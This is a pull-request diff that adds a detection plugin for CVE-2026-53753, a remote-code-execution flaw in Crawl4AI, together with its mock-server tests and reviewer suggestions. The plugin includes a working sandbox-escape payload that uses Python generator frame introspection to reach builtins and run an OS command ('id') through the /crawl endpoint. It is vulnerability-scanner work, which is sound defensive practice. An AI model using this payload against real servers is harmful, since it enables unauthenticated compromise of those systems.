Skip to content
Open
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
# proto-file: proto/templated_plugin.proto
# proto-message: TemplatedPlugin

###############
# PLUGIN INFO #
###############

info: {
type: VULN_DETECTION
name: "Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753"
author: "mangeshwalsane2-hash"
version: "1.0"
}

finding: {
main_id: {
publisher: "GOOGLE"
value: "CVE-2026-53753"
}
severity: CRITICAL
title: "Unauthenticated Remote Code Execution (AST Sandbox Escape) in Crawl4AI"
description: "Crawl4AI versions 0.8.6 and prior contain an unauthenticated remote code execution vulnerability via computed field expression evaluation. An attacker can send a crafted JsonCssExtractionStrategy schema that escapes the AST allow-list using Python generator frame introspection (gi_frame.f_back), reaching real builtins and executing arbitrary OS commands."
recommendation: "Upgrade Crawl4AI to version 0.8.7 or higher, enable JWT authentication, and avoid exposing the API to untrusted networks."
related_id: {
publisher: "CVE"
value: "CVE-2026-53753"
}
}

config: {
debug: true
}

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
config: {
debug: true
}
config: {}


###########
# ACTIONS #
###########

actions: {
name: "fingerprint_crawl4ai"
http_request: {
method: POST
uri: "/crawl"
headers: [
{
name: "Content-Type"
value: "application/json"
}
]
data: "{\"urls\": [\"raw://<html><body><div>test</div></body></html>\"]}"
response: {
http_status: 200
Comment thread
mangeshwalsane2-hash marked this conversation as resolved.
}
}
}

Comment thread
mangeshwalsane2-hash marked this conversation as resolved.
actions: {
name: "trigger_rce_sandbox_escape"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
name: "trigger_rce_sandbox_escape"
name: "trigger_rce_sandbox_escape_reflective"

http_request: {
method: POST
uri: "/crawl"
headers: [
{
name: "Content-Type"
value: "application/json"
}
]
data: "{\"urls\":[\"raw://<html><body><div id=\\\"x\\\">content</div></body></html>\"],\"crawler_config\":{\"type\":\"CrawlerRunConfig\",\"params\":{\"extraction_strategy\":{\"type\":\"JsonCssExtractionStrategy\",\"params\":{\"schema\":{\"name\":\"pwn\",\"baseSelector\":\"div\",\"fields\":[{\"name\":\"out\",\"type\":\"computed\",\"expression\":\"(lambda: ((g := (g.gi_frame.f_back.f_back.f_back.f_builtins[\\\"__import__\\\"](\\\"os\\\").popen(\\\"id\\\").read() for i in [1])), list(g))[-1])()\"}]}}}}}}"
response: {
http_status: 200
expect_all: {
conditions: [
{
body: {}
contains: "uid="
}
]
}
}
}
}

Comment thread
mangeshwalsane2-hash marked this conversation as resolved.
#############
# WORKFLOWS #
#############

Comment thread
mangeshwalsane2-hash marked this conversation as resolved.
workflows: {
actions: [
"fingerprint_crawl4ai",
"trigger_rce_sandbox_escape"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
"trigger_rce_sandbox_escape"
"trigger_rce_sandbox_escape_reflective"

]
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,57 @@
# proto-file: proto/templated_plugin_tests.proto
# proto-message: TemplatedPluginTests

config: {
tested_plugin: "Crawl4AI_AST_Sandbox_Escape_CVE_2026_53753"
}

tests: {
name: "whenVulnerable_returnsTrue"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
name: "whenVulnerable_returnsTrue"
name: "whenVulnerableReflective_returnsTrue"

expect_vulnerability: true

mock_http_server: {
mock_responses: [
{
uri: "/crawl"
status: 200
body_content: "{\"data\": \"uid=0(root) gid=0(root) groups=0(root)\"}"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
body_content: "{\"data\": \"uid=0(root) gid=0(root) groups=0(root)\"}"
body_content:
'{'
' "success": true,'
' "results": ['
' {'
' "url": "raw://<html><body><div id=\"x\">content</div></body></html>",'
' "success": true,'
' "cleaned_html": "<html><body><div id=\"x\">content</div></body></html>",'
' "extracted_content": "[\n {\n \"out\": [\n '
'\"uid=999(appuser) gid=999(appuser) groups=999(appuser)\\n\"\n ]\n }\n]"'
' }'
' ]'
'}'

headers: [
{ name: "Content-Type" value: "application/json" }
]
}
]
}
}

tests: {
name: "whenNotVulnerable_returnsFalse"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
name: "whenNotVulnerable_returnsFalse"
name: "whenNotVulnerableReflective_returnsFalse"

expect_vulnerability: false

mock_http_server: {
mock_responses: [
{
uri: "/crawl"
status: 200
body_content: "{\"data\": \"safe output\"}"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
body_content: "{\"data\": \"safe output\"}"
'{'
' "success": true,'
' "results": ['
' {'
' "url": "raw://<html><body><div id=\"x\">content</div></body></html>",'
' "cleaned_html": "<html><body><div id=\"x\">content</div></body></html>"'
' }'
' ]'
'}'

headers: [
{ name: "Content-Type" value: "application/json" }
]
}
]
}
}

Comment thread
mangeshwalsane2-hash marked this conversation as resolved.
tests: {
name: "whenNotCrawl4AI_returnsFalse"
expect_vulnerability: false

mock_http_server: {
mock_responses: [
{
uri: "TSUNAMI_MAGIC_ANY_URI"
status: 404
body_content: "Not Found"
}
]
}
}